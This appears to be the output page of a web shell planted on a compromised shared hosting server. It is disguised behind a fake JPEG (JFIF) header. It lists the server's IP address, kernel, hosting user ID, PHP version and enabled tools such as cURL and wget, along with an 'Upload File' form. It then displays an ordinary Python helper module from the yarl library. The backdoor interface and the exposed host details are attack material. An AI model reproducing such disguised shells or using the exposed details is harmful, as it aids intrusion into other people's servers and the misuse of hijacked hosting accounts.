���� JFIF fdasasfas213sdaf
Server IP : 93.127.173.198 / Your IP : 216.73.216.222 Web Server : LiteSpeed System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64 User : u479334040 ( 479334040) PHP Version : 8.2.27 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/opt/alt/python311/lib64/python3.11/site-packages/yarl/ |
Upload File : |
"""Various helper functions.""" from typing import Any, Callable, Dict, Generic, Optional, Protocol, Type, TypeVar _T = TypeVar("_T") class _TSelf(Protocol, Generic[_T]): _cache: Dict[str, _T] class cached_property(Generic[_T]): """Use as a class method decorator. It operates almost exactly like the Python `@property` decorator, but it puts the result of the method it decorates into the instance dict after the first call, effectively replacing the function it decorates with an instance variable. It is, in Python parlance, a data descriptor. """ def __init__(self, wrapped: Callable[..., _T]) -> None: self.wrapped = wrapped self.__doc__ = wrapped.__doc__ self.name = wrapped.__name__ def __get__(self, inst: _TSelf[_T], owner: Optional[Type[Any]] = None) -> _T: try: try: return inst._cache[self.name] except KeyError: val = self.wrapped(inst) inst._cache[self.name] = val return val except AttributeError: if inst is None: return self raise def __set__(self, inst: _TSelf[_T], value: _T) -> None: raise AttributeError("cached property is read-only")